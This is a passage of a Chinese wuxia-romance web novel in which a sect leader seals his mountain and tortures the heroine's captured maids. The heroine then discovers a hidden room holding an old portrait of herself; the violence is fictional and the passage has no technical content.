他说:“好。” 那语气,好像从前让她挑首饰似的。 她觉得有趣,抖着肩膀笑起来,笑得控制不住,咬着食指,才能不发抖。 他不知为何,竟然握住了她的手,把她的食指从牙关中掰下来。 颀长的指骨,覆着绿色的血管,罩在她手背上。戴着玉扳指的大拇指,来回在她皮肤上摩挲。她熟悉的安稳的温度。 她也没挣脱,反握住他的手,想再睡会。 一摸,却摸到他手腕上,横向的、凸起的刀印。 一道 、一道、再一道,密如梳齿。 她怎么会不知道那些疤痕是怎么来的。她还小的时候,在往生门内,几回想不开,也这样划过自己。 从前,他手腕上,一道也没有的。 她忍受不了,忍泪忍得浑身颤栗,用另一只手,覆上自己颤抖不已的眼睫。 他膝盖被她的眼泪整个打湿了,衣摆湿漉漉地黏在皮肤上。顾怀瑾望着她发抖,置身之外般平静,轻轻道,“哭成这样。”带点讥诮笑意,“如今,你怕我?” 不是怕。 若只是怕,何至于叫她落泪如此。 他不明白。 她不想解释。就算对他说,她心疼他,恐怕他也只是置之一笑。 她轻轻地,呢喃一般:“怀瑾,对不起。” 眼泪打湿睫毛,从眼底滚滚而落,在她的鼻梁蓄成一个小水潭,再蜿蜒而下。 顾怀瑾没有说话。 说话的人是雾刀。 声音阴冷如一只葬身水底,随时觊觎着活人找替身的水鬼: “南琼霜?” 南琼霜嗤笑一下。 他还在啊。 她没理会。有些话,她忍了太久,已经不得不说: “当年的事,我没有办法。” 雾刀气急败坏:“南琼霜!” 顾怀瑾幽幽地问:“什么叫没有办法。” 她不能再多说了。这一句,已经是千不该万不该。 即便她同顾怀瑾解释一切,木已成舟,一切已经没有转圜的余地。 停在这里,两头至少还能保一头。 顾怀瑾却忽然轻笑起来,蒙着黑绸的脸孔,朝向漆黑夜空中的某处,语气冷慢: “……我怎么总是觉得,有只苍蝇,自作聪明,绕着顾某盘旋呢?” 南琼霜猛地睁开眼睛。 忽然,他弹指间窜出一团不知为何物的残影,骤然钻入空中,划出一道弧,倏地不见了。 带起来的风,噼啪打在她脸上,一阵微痛。 她简直不敢相信。 往生门的教引,习的是缩骨匿影的隐术,皆得江湖上名噪一时的分影阁的真传。她行刺十几年,不论江湖武圣,抑或力能抗鼎的将军,没有一个发觉过教引的存在。 他竟然察觉了? 她用传音入密急急问:“雾刀,雾刀?” 耳畔毫无声息。 她挣扎着爬起来,艰难坐直身子,“雾刀?你还在吗?雾刀?” 不想,手被铁环铐着,她别得难受,又躺得身子麻了,刚支着胳膊坐起来,便一倒。 扑在他身上。 月色底下,顾怀瑾只是静静地,由着她倚靠,没说话。 偏着头,没有表情,垂首朝着她。 那么近的距离,她几乎看清了他蒙眼绸带的质地。 那一方黑绸布,月色底下,流淌着丝质的光。绸带底下,额鼻高挺依旧,骨骼俊美得难以置信,两片好看的唇,轻轻抿着。 ……所有的一切,都跟当年暮雪院里,她跟他抵着额头熟睡,夜半梦醒,见到的一样。 她唇开了又合,最后屏住呼吸。 她忽然不敢大声说话:“……怀瑾。” 顾怀瑾未答。 忽然,他两片唇打开了,偏着头,朝她倾来。 又在她唇侧半寸,堪堪止住。 她惊了一瞬,微微喘着。似乎唇上有一阵窸窣的麻痒,该来的吻不来,她的身体比她更失望。 她不知道她怎么敢期待。 呼吸拂在她唇畔,她呼出的空气顷刻被他吸进肺里,可是他悬在她唇畔,没有动。 许久,她闭上眼睛: “不要这样。你到底在等什么,不是要杀我么。痛快一点,不好吗?” “杀你。”他意味不明地重复了一遍,带着点笑,从她身前撤走:“没到时候呢。” 可是,手却从她背后,缓缓地搂了上来,缠着她的腰,捆在自己胸前,搂紧。 她不知道如何理解这个拥抱,眼泪噼啪地掉在他肩上。 “所以,你对李玄白说,要带毛琳妍回山,本就是为了骗他。是因为,怕他帮我,从中作梗。” 顾怀瑾笑起来:“当然。” “紫禁城里,你早就认出了我,但始终没有发作,是为了骗过我。甚至,连皇上的衣服,都要我来解。” 他笑得很愉快:“我多能忍,你知道的。” “没有在紫禁城中发难,处心积虑地把我骗来,是因为,无量山是你的地盘,你做什么,怎么做,都随你方便。” 他笑:“对。” “叫我帮他解衣服,连我都被骗过了。然后,莫名其妙的,顺走了我一张帕子。因为那一张帕子,你一下子就知道是我。”她觉得有点好笑,“为什么?因为有我的气味?” “帕子?” 听到这,他仿佛听了什么幽默的事情,笑意里带着点不屑理会的懒怠: “我要认出你,还需要一张帕子?未免高估你自己了。当日大殿之外,我就知道是你。不过,当时,我并不确定。你不知道,这些年来,多少人听说了你我的事,送与你相似的女子上山,一个个的,全都图谋无量心法。” 他笑:“……指望顾某,痴傻无比,在同样的事上,跌第二次。” 她听着,无法答话。 “后来,皇上疯症发作——” 他顿了顿,笑得句子都断了,“——你知不知道,你哄人的语气,这么多年来,从没变过?” 她不明白:“哄人的语气?” “当年,菩提阁内,李玄白说要同你下山。你怕我当场发作,拼命哄我。那种语气——抓着手,叠声唤他的名字——我一下就知道是你。” “只不过,”他笑得从容,“从前唤的是我,如今,是别人了。” 她低下头,不知说什么好,抿着唇。 “自以为是,自作聪明。”他唇角勾得凉薄而愉悦,声音哄她似的,一字一字,却是阴冷:“乖。倘若我是你,必不会自负到这个地步,定然早早来找我坦白了。” “不过,到了如今,也晚了。” 他笑起来,在她鼻尖上轻吻了一下,啧的一声,吻得她心里一惊。 他转过头,望着船头前,迎面而来的朦朦的山: “你身边,有多少苍蝇蚊子,不必我说,你是知道的。” “所以,该说的话,该算的账,我们回了山,再一句句对,一笔笔算。” 河上起了一层渺朦的夜雾,触肤寒凉,笼在山前,将山掩饰成一座没有獠牙的庞然大物。 他声音很轻:“这回,你可跑不了了,乖。” 第115章 夜里的无量山是萸紫色。 小小的乌篷船,轻轻摇摆,在岸边众弟子擎起的火把的光中,悠悠荡开一道水痕,靠了岸。 无量山,仿佛一头冬眠的上古巨兽,匍匐在山雾中。 南琼霜与他并肩站在船头,看着顾怀瑾划桨将船拨直。 小船平平滑入两行火炬的红光之中,那船那样小,山又巨大,她瞧着,总有种羊入虎口的窒息感。 见顾怀瑾靠了岸,山上众弟子齐齐矮身行礼:“恭迎掌门归山。” 顾怀瑾长身立在船首,玄黑衣摆拖曳在身后,冷旷疏离,理也未理,一步跨上了岸。 两人相连的银铐一阵叮当作响,顾怀瑾回过身来,朝她伸出一只手。 她心中发虚,讪讪避开,想自己下去提裙摆,不想,被他握住胳膊,一把提了上来。 他抓着她纤细的小臂,在夹道迎接的弟子间穿行。 两侧弟子一路垂首默然行礼,她莫名受着狐假虎威的尊敬,心中一阵难言的忐忑,往旁一看,身侧人面无表情急急走着,显然是不容她多问。 忽然,脚底下一阵嗡嗡的震颤,自地底深处绵延开来,渐渐波及到地面,地上小石子都被弹起些许。 远处一阵雷鸣般的轰隆声,霎时间林鸟大起,自黝黑的密林中呜哇叫着纷纷逃窜,再仔细一听,又一阵远远的哗啦水声。 她被摇得趔趄了 两步,还以为是地震,抬头一看,身前人抓着她,头也不回地往山上走,提心吊胆叫了一声,“怀瑾——” 身后一阵极其清晰的山石滚动的声音。 她回身一看,惊骇地发觉,重重林影之中,一排大坝般的影子,缓缓地、轰隆着升起,将整座山关入一个石圈。 奔腾的水声,越来越大。 顾怀瑾终于徐徐放慢了步子,松开了她的小臂,揽上她的腰。 一个人影急踏着路旁树枝奔跃而来,到了他身侧,在树枝上曲了膝盖: “回禀掌门,一切安排,都已妥当。” 顾怀瑾颔首:“做得好。” 她提心吊胆,什么安排? 那人影顷刻隐没在树影中,不见了。 顾怀瑾笑着,手放在她腰间摩挲不已,温度隔着薄薄衣衫渡过来,“听见方才的声音了吗?” “是封山门禁。”他笑得惬意,搂着她,吻了吻她鬓角,“拔高了五十尺。通天河大坝也打开了,半个时辰之内,水位便可升高数尺。还有,关着的鳄鱼也给放出来了,全在通天河中。” “山路,水路,全部封死。”他越发笑起来,大拇指在她腰上最窄的地方抚摸个不停,“跑啊,娘娘。叫上你那些暗卫一起来。” 他如今,语气太怪了。 她受不了,推开他一些,头偏开,避着他。 他也不恼,手在她背脊掠过一瞬,抚得她发毛,“多年未见,实是稀客,怎么好不多坐坐。一起来,一起坐坐。” 她越发觉得这人状态不大对,一种阴险的含恨的温柔。 她斟酌半晌:“其实,你多虑了。我本也没打算逃。”如今,他们武功相差太悬殊,他何必如此大费周章? 顾怀瑾不是不知道她的武功无法与他相抗。 只是,他日也思、夜也梦,上天入地、倒海翻江,苦苦寻了五年的人,有朝一日,不仅没死,还被他围追堵截地逼上了山,他不论如何,不允许一点差池。 就算她能变成一只苍蝇,连苍蝇也不准给他放出来。 “没关系,你可以打算啊。我不是向来都由着你?”他笑,玩着她背后的长发,“不过,先来跟我见两个人。” “两个人?” 顾怀瑾笑而不语。 山径一拐,路渐渐宽了,密林退去,迎面是一大片空地。 空地上,两副刑架,两个人。 手高高吊在两侧的铁柱上,腕上缠着小臂粗的铁链,头往旁耷拉下来,仿佛颈椎只有一根筋堪堪连着。 身上,地上,俱是血迹,夏天闷热的夜里,除了血腥气,很快有些不好的气味,旋转着扑在脸上。 这味道,她早已习惯,不会大惊小怪。 顾怀瑾望着她面不改色的脸,毫无讶异地挑挑眉。 “这两人,认不认识?” 南琼霜站在原地,看了一眼,就瞥开。 怎么会不认识? 清涟、远香。 看来,是她下船后,顾怀瑾顷刻抓了两人,已经拷打过。不知她的行踪,是否是她们暴露给他的。 她平静笑起来:“我的两个侍女。大家都在紫禁城中见过的,拷打她们做什么?” 顾怀瑾笑着,手掌一开,清涟左手的铁铐不知为何应声崩断,一只胳膊,陡然解下,吊在肩膀底下。 那模样,显然是臂骨已经折了。 南琼霜心中一凛,侧首望去,顾怀瑾毫不在意地笑着。 “做什么?”他屈起食指,在她脸颊蹭了蹭,“往生门细作。他们两人脚底有生字烙印。” 她一时默然。 往生门内,有指挥司、藏刃司、审录司、外务司好几个部类,极乐、七杀皆属外务司,像清涟、远香,是往生门世代蓄养的家奴,好几代以前便在门内受训做武婢,属于内务司。 内务司的武婢,会在足底烙印篆体生字,以示身份。 “我不明白。”她笑起来。 顾怀瑾静静望着她那笑容,等了一瞬,而后无所谓一笑。 “是么。”他道,“我也知道娘娘同往生门毫无干系。往生门精心培训的武婢,底子根骨都是好苗子,还有这个——” 他伸出手,抬了抬清涟的下巴,她阖着眼,毫无生气地被摆弄,“身形、样貌,都有些像你,远远一看,连我也得分辨片刻。想来,也只是巧合,怎么会和娘娘有关呢。” 她听着,毫无反应。 面对爱,她或许手足无措,但对拷问,她熟能生巧。 她松开他的手:“你别发疯了,我足底有没有烙印,你不会不清楚。” 极乐堂的女子,身体是武器,往生门对她们一向严加看管,连自残都不允许,何况烙印。 顾怀瑾:“我当然清楚。你身上,我哪里是不清楚的。”说着,滚烫的掌心熨烫在她后脊,修长的五指张开,几乎将她纤细的脊背覆了一半,声音轻轻: “……所以,也没怀疑你啊,乖。” 她后背一阵羞耻的麻,闭了闭眼。 顾怀瑾若无其事地,开始抚摸她匀俏的背沟,一下、一下,用指腹暧昧地缓磨: “娘娘,与往生门毫无干系,顾某自然晓得。只是,这两人围侍娘娘身侧,恐威胁娘娘贵体,顾某如何忍心。因而,要教娘娘两招防身。” 一边对树影内道:“云垂。” 那一直隐藏在树枝上的女子倏地钻出黑暗,到他面前显出身形,单膝跪地,是个短发女子,腿长得吓人,腰几乎到她的胸,只是站着,就要骑在人头上似的。 他道:“拿指骨钳。” 云垂将铁管似的东西双手奉上。 顾怀瑾接过,将那东西转放在她手上,手一挥,云垂应声消失,他笑道:“这是往生门细作,娘娘不必心慈手软,请先试看片刻。” 说着,拈起清涟葱管般的手指,捏在两指间,“娘娘亦有些内力,顾某晓得的。试用手指捏住指关节,手上轻轻运力——” 未等她心惊,嘎嘣一声。 好好的指骨应声而断,断骨一半垂下,一半戳着皮肉,碎骨将皮支出一个角,肉摇摇欲坠。 她咽下惊骇,面上纹丝未动,只眨了眨眼。 “学会了吗?倘若不得要领,也可用那指骨钳。”顾怀瑾笑,将清涟的手递给她:“娘娘来。” 骨头那一声响,清涟自幻觉中恍惚醒了,睁开眼,周身旧伤之外又一阵剧痛,定睛一看,自己半截手指左右摇摆不停,张开嗓子一声尖叫。 顾怀瑾脸色平静自若,等着她反应。 她什么反应也没给,偏开眼去。 他早知道她是细作,楚皎皎梨花带雨那一套早没有用,不必装了。 清涟荡在刑架底下摇晃,声泪俱下,“娘娘,救我……” 她垂眸,想了许久。 顾怀瑾知道她从前是演戏,也猜到她也许不是楚皎皎那柔弱可怜的性格,但也没想到,当真有女子,见了如此场景,还能面不改色的。 她究竟骗过他多少啊。 良久,她蹙眉道:“你到底想要什么。有意思吗?” 顾怀瑾笑着,捻了捻她耳下那颗翡翠耳坠——如今她不穿白衣,改穿金戴银了,倒是也好看——“有没有意思,娘娘说了算。娘娘肯将一切如实相告吗?” 她默然不语。 她能说的,永远比不能说的少。 “该上那个刑架的是我。”她答得利落,“别磨蹭了,多大的事。” 顾怀瑾食指和中指并在一处,顺着她背沟,一路缓缓地,向下蜿蜒,她几乎感到背上一条蛇窸窣爬过,冰冷的鳞片,贴过她每一寸皮肤,留下令人心惊的湿痕: “娘娘说的没错,该上这个刑架的是你。可惜……” 他笑起来,贴着她耳畔: “娘娘,我哪里舍得啊。” 她心里一抖,闭上眼睛。 “娘娘,娘娘,救我,奴婢是冤枉……” 清涟含着泪,一贯任劳任怨、半个字也不会多言的人,失态到涕泗横流,手不断向她抓着。 顾怀瑾带着她,往后退开一步。 她笑起来,“你舍不得,是你的事。何况,你想想当年,也就舍得了。折磨她们,她们知道什么。” 他脸上的笑终于缓缓消退了,仿佛一个古楼内骤然现身的惨白的幽灵。 但手指依然缓缓碾磨着她的后背,怜而又怜地摸着一块突出的脊骨。 她躲开:“少碰我。” 他那种自若的笑全消失了,唇抿着。 这人当真是跟从前全不一样了。倘若他变成现在这个样子,她也未必还爱他。 “娘娘原来是这个脾气。”他复又笑起来,拉着她,走到另一侧昏迷着的远香身前,站定,“好。我也当真是从未了解过娘娘,还以为娘娘胆子小。” 他自袖中掏出一只圆圆的项圈,牵着两人相连的银铐,走去将那项圈戴在远香脖子上。 又从那圈上拔了个东西出来,似乎是个小栓。 她远远站着,不想靠近。 等了半天,远香没什么反应,依旧昏迷着。 顾怀瑾回身来朝她笑:“过来,乖。” 她冷着神色:“做什么。” “给你看个好玩的。” “顾怀瑾。”她道,“倘若你以折磨人为乐,算我从前看错了人。” 顾怀瑾站在原地,久久、久久没有说话。 再开口的时候,两行血珠自黑绸带底下滚滚而落,直直挂在双腮,拉到下巴上,仿佛一个诡异的巫傩面具。 “楚皎皎。”他嗫嚅半晌,终于又拼出了她那个假名,声音碎得不成样子,“我从前是什么样的人,什么样的心性,谁叫我变成这样的,你最明白。” 她再反应过来的时候,人已经抖得厉害,泪珠嗒嗒湿透了衣襟,捂住脸,偏开头。 顾怀瑾站在她身侧,静静的,如今他似乎没有眼泪了,只有血。 两人许久没说话。 她不愿再想了,所有这些事,都该有个了结,不论了结的是谁,她已经被折磨了太久,亟待一场报应不爽。 她轻轻道:“别折磨她们,让我上刑架吧,是我欠你。” 顾怀瑾立在原地,一面发抖,一面流血泪,一面笑,抖得简直在抽搐。 但就是不应。 她再道:“算我求你。” “求我?”他终于又开了口,仿佛听了什么好笑的东西一般,揶揄挑眉,“我还没求你呢,你倒求上我了。哪有你求我的份啊,不一向是我求你。省省吧。” 他拿过她手上那个冰凉的指骨钳,在掌中把玩了一会,放回她手里: “那么,遂你的愿。拿着吧,先玩玩,免得一会,不适应。” 他往旁一唤:“云垂。” 方才那个格外高挑的影子顷刻显出身形。 “带娘娘去沐浴。” “是。” 她怔然:“沐浴?” 不知怎么,她忽然想起她那些可怕的梦。 “皇上的麒麟草,须得至阴之身沐浴焚香后亲手采摘,方能维持药性。” 顾怀瑾无所谓地拿出一柄小钥匙,将两人相连的银铐解开,银链一端送入云垂手中: “仔细看管娘娘。若没了娘娘消息,我将你胳膊锯下来做腿,腿锯下来做胳膊,免得高得碍事。” 云垂毫无波澜:“是。” 顾怀瑾转身欲走。 她忽然开口:“怀瑾。” 他步子霎时停住,半回过头。 她的银铐牵在云垂手中,她往前两步,那银链便绷直。然而,掌控的人反而不敢怠慢,紧赶着上前两步,随在她身侧。 她缓缓走到他面前,站定。 顾怀瑾蒙着眼,看不出一丝表情,也瞧不出一丝情绪,人如一座雕像般不近人情。 垂首,等着她说话。 她犹豫半天,眨着眼睫,最终还是下定决心,抬起手,牵着袖子,一点一点擦去他脸上的血迹,小心翼翼道: “方才,是我说错话了。你不要难过。” 他不发一言,嘴唇颤抖得厉害。 她含着泪,手仔细抚摸着他的脸,眼泪滚滚而落,她道: “但是,冤有头,债有主,冤冤相报没意义。” 他笑:“你真以为我不会折磨你吗?” 这话逗得她笑起来:“你以为一个指骨钳、一只毒蛇环就算折磨了?你不知道我经历过什么。我若是没有胆子,会跟你说大话吗?” 顾怀瑾顺从由着她擦去血迹,垂首,只是笑,“我也当真是从未认识过你。订过婚、同床共枕过——” 她笑着摇头:“过去的事,没意义。” “没意义。” 他意义不明地跟着重复了一遍,勾着唇笑了。 南琼霜发觉,他方才尚有些宁顺模样,她那一句话下去,整个人又乖戾得可怕。 他骤然偏开脸,抽身退开,拂袖而走: “带娘娘下去沐浴。之后,再说话。” 第116章 银链咔啦作响,云垂牵着她,在山路上曲折行进。 无量山不似天山,天山上处处密林夹道,暗器机关不知凡几,无量山倒开阔,处处是石灯石阶石廊。此时,山下是初夏时节,山上正是落花纷纷。 她在前,云垂在后,花片静静零落,两人无声穿过曲折石廊。 走到一处岔路,云垂道:“娘娘,请向右。” 她道:“云垂姑娘,请在前引路吧。” 那眼神淡漠惊人的短发女子道:“属下不敢在前。” 她叹口气。 虽说她的手铐牵在云垂手中,似乎她由云垂押着一般,可是,云垂始终不远不近地随在她身后,在她右侧隔开半步距离,亦步亦趋地侍奉,不敢怠慢,更不敢超越。 走着走着,一抬头,瞧见密林顶端,一座突兀的远僻的高塔,直插入夜空里,高得站在塔下抬头,都瞧不见塔尖,她感慨:“好高的塔。” “此乃山上四象塔,塔上,下可俯瞰全山,上可遥观天象。天气晴好的季节,掌门常在此处留宿,观测星象,是掌门的禁地,外人不可近。” 她道:“如此。” 云垂不是热络的性格,她也不是,两人再无话,一路入了温香阁。 温香阁内,外头容人梳洗更衣,里间是一大片活水温泉池,名为长生泉。据说,是地底下形成的天然热泉,除去美容养颜之外,更可药用。 南琼霜坐在妆镜前,容婉儿替她解下发钗,眼帘懒怠垂着,不知在想什么。 婉儿拢着她一头滑亮的黑发,好奇又惧怕,小心翼翼地打量她。 一边看,一边分神,手上一边动作,忽而,与她明亮的眼在镜中对上。 婉儿手上一慌,一扯。 南琼霜的头忽而偏了一下,嘶了一声,吃痛地揉着。 婉儿咚一声跪了下来,惶恐至极: “楚,楚姑娘饶命,求楚姑娘饶命,奴婢手笨,奴婢方才不小心……” 她无法,有点不耐地揉着扯痛了的那一块,没说话。 云垂未介绍,她一个字也没多说,这些人,怎么知道她那个假名字。 而且,人人都这么怕她。 其实,上了山,她便觉似乎不对。 人人见了她,都是一副新鲜至极的神态,迎面第一瞬必是眼光灼灼,她一眼递过去,对面顷刻就惶恐躲开,等她走过,回身一望,就见一个两个全投来眼光偷瞄她,仿佛她不知道他们,他们全知道她似的。 婉儿不知怎么,竟然怕到在地上连连磕头,“求楚姑娘饶命,求楚姑娘饶命,求……” 南琼霜道:“起来吧。怎么知道我的姓?” 婉儿抬起头来,额上已经红了一片:“楚姑娘……何止是无量山上人人皆知,就连江湖上,都是无人不知的。您的画像何人没见过,我们不过是些婢子,您是……我们怎 么敢跟您顶撞……” 她觉得好笑,刚上山没两个时辰,这些丫鬟,还不知道她是珍妃娘娘,就先认出她是楚皎皎了。 “何至于此。”她笑起来,“今时不同往日,如今你们掌门厌弃我,正想法子折磨我呢。” “楚姑娘莫要取笑奴婢了。还请楚姑娘宽宥……” 她有意探顾怀瑾对她的态度,道:“宽宥什么。他没交代你们如何折磨我吗?” “折磨?不曾。” 婉儿急急摇头:“倒是交待过姑娘喜欢的香膏,喜欢的花皂,喜欢的饭食,要奴婢们辛勤伺候着,连饭食也要用辟毒筷试过,方可给姑娘端上来。” “就连这长生泉,都是掌门特意为您开的,原本是掌门的私泉。掌门不喜任何人用他的东西,就连当年晟贵妃随皇上造访,掌门也未肯松口借贵妃一用。今日姑娘来,却特意给姑娘打开了。” 南琼霜听了,一时不语。 从前,他常常说她体寒,朝瑶峰上有芙蓉泉,他天天劝她去泡一泡,她没当回事。 到现在,还是天天惦记着要她泡热的。 她沉默的功夫,婉儿将她钗饰全解了,门外有人敲门送来一张红漆小几,案上三盘菜肴并一只汤碗用青花盖盘盖得严丝合缝,端上来,尚冒着热气。 清炒虾仁、白灼菜心、西芹炒腰果,还有一碗山楂小圆子。 “掌门说,楚姑娘舟车劳顿两日,尚未好好用饭,怕径直去泡汤泉会晕了,请姑娘先用饭。” 南琼霜坐在椅子上,垂着长睫,不知该如何想。 这么多年来,他倒是记得她的口味。菜量小,因她每回只吃两口;样式多,怕她吃得单调。白灼菜心不能放蒜;腰果和西芹要三七开;吃虾,要掐头去尾剥皮,虾线挑得干干净净,肉质紧实雪白,方才肯下咽。不然,宁可饿着,也不动一筷子。 他竟然全记得。 记得这些做什么。断头饭,吃点好的? 她一哂,偏头去看了看那只指骨钳。 如今,他这个人,一打眼看去面目全非,只偶尔露出些从前的样子。 对她好,到底是为什么? 她想不明白,默然无语地动筷。 忽而想起方才婉儿的话,一惊:“舟车劳顿两日?不是一日么?” 婉儿抿唇:“是两日。姑娘与掌门在船上待了两日。姑娘的两位丫鬟比姑娘提前一天到。” 她这才想通,何以她眼睛一睁刚到无量山,清涟远香便已经被劫上了山,拷打过了。 原来她昏睡了两日。 那盏酒里的药,药性竟然这么烈。到底是谁下给她的? 不是顾怀瑾,就是往生门。 如果是顾怀瑾,那就是不知从何处得知了她要返回,为了截她,有意下药。 如果是往生门,那雾刀说“为掩盖行踪,会换几回船”便是门内特意拿来诈她的话。他们根本就没想叫她清醒着回去。 想将她迷晕了省事,直接由人带回去。 她最近,一丝一毫的反心都没有,往生门竟还是不信她至此。倘若真叫他们瞧出些自以为的把柄,那她可是麻烦大了。 假如是顾怀瑾——他的眼线是谁? 她拣着青花盘中的菜,竹箸在菜心中点着。 可是,不知为什么,都到了这地步,她仍是觉得,或许不是顾怀瑾。 药效这么大,他不会下给她。 虽然他拿着指骨钳,说要让她“适应适应”。 她是不是太天真、太自恋了? 她百思不得其解,知道硬猜猜不出,索性先不想,把碗筷一推,想要起身。 却忽然看见了那碗山楂小圆子。 山楂汤红艳艳的,糯米团成的小圆子,一颗一颗沉在糖浆底。山楂肉去了核,煮得软烂。 她知道顾怀瑾以为她喜欢山楂。但她不喜欢。 当年,她做了那碗山楂冰圆子,他心细至此,记到现在。可惜,那是为了以山楂糖浆染红双唇,刻意引他情动罢了。 一个骗局,他当了真。 她默然站起身,将那碗小圆子推开,没有动。 如今,她终于毋需对他演戏,也不需再拿他的心,她可以用她的本来面目,面对他了。 长生泉内。 婉儿随着她进来,将新的叠得齐整的衣裳双手捧着端放在柜上,行礼想出去。 南琼霜站在池边,轻轻解开了外裳系带,一面道: “去给你们掌门带一句话。” 她方将外裳褪去,露出里面莹白匀腻的肩和背,婉儿只看了一眼,慌忙按下脑袋,止住脚,紧张地听她说。 “告诉他,倘若想问些什么,到温泉池子这来。别的地方,恕我无可奉告。” 婉儿喏喏应着,将木门带上了,一阵悠长的吱呀的响,在偌大的温泉池内回响不绝。 她叹息一声。 到温泉内谈话,实是无法之举。 她不知道雾刀在不在。 即便他不用传音入密答话,也并不能确定他不在。但是,倘若她要对他说什么,被雾刀听见一句就完了,她赌不起。 往生门内,教引有教引的门规,特别是极乐堂刺客身边的教引,身上条条框框更多。 极乐堂的女子,容貌身段皆是剧毒,往生门决不允许门内众人沾染,是以她们在门内,连打牌时,都需戴上帷帽。 教引是监视她们的人,门内对他们,要求就更严格。其中一条门规,便是她们沐浴时,务必躲在五十丈开外。倘若被她们发觉教引借监视之名躲在一旁,上报门内,犯事者便受刖刑,没有斡旋余地。 只是。 她轻轻嗤笑了下。 教引们的匿影绝技,连从前的慧德都不曾识破,又哪里是她们发现得了的。因而,虽然门规如此,具体操作起来,仍是个人有个人的做法。即便温泉池内,也并非万无一失。 她长长、长长地,又叹了口气。 也只能这样了。 把她绑上山来,她都不需问,就知道他要做什么。 逼问。知道他要知道的一切。 她能对他说什么? 即便雾刀不在,即便雾刀昨日被他一击打死了,往生门很快就会派新的教引来。 即便有这个时间差,有万分之一的可能,她无人监视—— 她能说的,也就只有一点点。 坦白便是叛门。她累死累活做到了第五个任务,豁出命去也不能功亏一篑。 至于顾怀瑾,如今已经不能再仰仗他了。 能说的就这么多。其他的,要杀要剐,随便吧。 她脱去了衣裳,带点戏谑神色,拿起了柜上那只指骨钳,套在手指上玩着。用他的话来说——“适应适应”。 脚步轻巧,唇角不甚在意地勾着,往温泉池一阶一阶蜿蜒向下的石阶走去。 却路过了墙边一面雾气迷蒙的镜子。 想到这具身体,一会便要断胳膊断腿,或者被毒蛇咬得浑身青黑,她懒洋洋地有点缅怀之意。 于是,走近前,仔细打量了一会。 一看,却发现。 锁骨底下,两团嫣红的、椭圆的痕迹。 是吻痕。 第117章 顾怀瑾连她沐浴大概要多久都记得。 她洗完了澡,换好衣服,不多时,一个侍仆抬着一张桌子进来,靠墙摆好,另一个侍仆紧随其后,一样一样,在桌上摆放了些东西。 将东西放妥,两个侍仆朝她恭敬行礼,退下了。 她带着点无所谓的笑,走过去仔细看。 鞭、锤、钳、夹棍、肉刷、笞杖、脑箍,全是她在往生门的大牢里见过的东西。 她不免一哂。 在往生门的时候,她还无福消受这些,如今,要在她这个端方温润的前夫这,先试试了。 多有意思。 她拿起一根皮鞭细看。 那皮鞭是牛皮质地,扎实坚硬,蝎尾一般的鞭身,放开来,长如一条细蛟。 她笑着摇摇头,这人性情是真变了,做事喜欢做绝。 她是见识过顾怀瑾的鞭子功夫的。那一年,衡山派掌门之女欺辱她,他为了给她报仇,不知想出什么法子来将人家逼上了山,用一根长鞭,抽得那心高气傲的衡黄皮开肉绽,区区三鞭,打得四面檐角崩塌。 如今,跪在中间受鞭的人,成了她了。 她想在手上试两下,解开了鞭身捆着的小绳,将鞭子整个抖开,拿在手上,沉甸甸的。 忽而,持鞭用力,手臂一挥,啪地一声,长鞭抽在覆着水汽的石墙上,打裂了两块砖石,碎片剥落下来。 真是厉害的鞭子。 她不知为何,心里倒有点爽快,手臂一抡,啪地又是一鞭。 真是没想到,在宫中的时候,她为了不至有今日,想了无数办法,躲猫猫似的同他斡旋了许久;真到了见棺材的一刻,心中却轻松坦然。 早知如此,当初又何必惴惴不安,无措难眠。 人总是如此,事发之前,总是惊慌,待事情真发生了,方觉不过那 样。 她含着笑,又朝墙上猛抽了一鞭子。 这一鞭下去,她忽觉此处有些不对。 同样是石墙,长鞭抽上去,有些地方一阵清脆的噼啪的响,但却有一片地方……声音闷闷的。 她将长鞭卷好,放回桌上,循着方才回响不对的墙面,用手指节一路敲。 敲着,果然发觉一处地方的回响大有不同。 墙后若是实的,声音应也实,聚于一点,并无回响。 但这一处,敲上去,声音却分散、发虚。 这墙后有东西。 她往长生泉大门处看了眼。 腾腾水汽中,朱红色的木门在白雾中隐隐约约,仍未有动静。 她转过头,沿着那一片地方的四周,将所有墙石依次按了一遍。 果然,未多时,一块不起眼的石头被她推进去一些。 她蓄力再推,将那块墙石全部按下。 一扇厚重的、坚固的石门,缓缓地,向右滑开了。 里头一阵阴冷的风,打开来,一条曲折幽邃的甬道。 南琼霜再度回头往木门处看了一眼。 顾怀瑾仍未来。 这就有意思了。若是平时,她性子谨慎,不会轻举妄动,大约不会贸然探秘。 但顾怀瑾,已经将那一个一个刑具摆在她面前了。 反正结果都已经是这样,她又有什么怕的,断三根手指跟断五根,有区别吗? 这山上最可怕的,不过是她那个阴晴不定、难以捉摸的前夫。 她笑了一瞬,提着裙摆,闪身钻进了甬道。 甬道内阴暗潮湿,狭窄得只容一人经过。 她没有灯,也没有火折子,借着长生泉内的光,走上了一道旋转往上的石头旋梯,台阶苔藓密布,滑小刁钻,窄得只容下半足,她踮着足尖,一阶一阶走上去。 走了不知多久,直到她开始觉得胸闷,终于烛火一闪,进了一个逼仄简陋的房间。 房间内只幽幽点着一盏不亮的小灯。蜡烛已经燃得只剩一寸,蜡油在灯台里堆积成山,显然是无人常常清理。 屋内一团混乱。地上俱是撕碎的纸,半幅半幅地覆盖了整个地面,有些是背面,有些正面朝上,但彼此遮掩,瞧不出是什么。 房间角落,挂着一幅似乎是画的东西,但烛火太幽暗,一半隐在阴影里,打眼一看,她也不知是谁。 画下,一只简单的柜子,柜子上零落着七零八碎的杂物,柜前,一只摇椅。 满房间,都是顾怀瑾的气息,浓郁到,她一进去,仿佛撞进了他怀里似的。 他在这里呼吸过,住过,待过许久。 她怎么会知道? 她自己也不明白。 她走过去,在那幽茫烛火里,对着光,仔细看墙上那幅画。 画上人双膝并着,手放在膝上,对着画外人,笑得乖巧和悦。 手上,拿了一只王八糖画。 南琼霜心中咯噔一下。 是她。 那个最后生离死别的被诅咒的夜晚,她和顾怀瑾下山,在山下集市中,度过的第一个,也是最后一个乞巧节。 一个摆摊的老伯,替她画的,那一幅画。 这么多年,他依旧留着,即便……即便出了那样的事,也被他藏在此处。 她伸出手,留恋又缅怀,小心翼翼地,抚摸了又抚摸。 那么多年前的事了啊,她都快忘了。 她记得,那时,顾怀瑾笑她丹青画得丑,她气急败坏地跟那个卖糖画的老伯说要画他,结果接过汤勺,就画了个王八。 她垂下长睫,有点自嘲地一哂。 柜子上,倒是并未落灰,但尽是些杂物。 耳环、扇子、莫名其妙的棋子、梳子、簪子,全是不知所谓的东西。 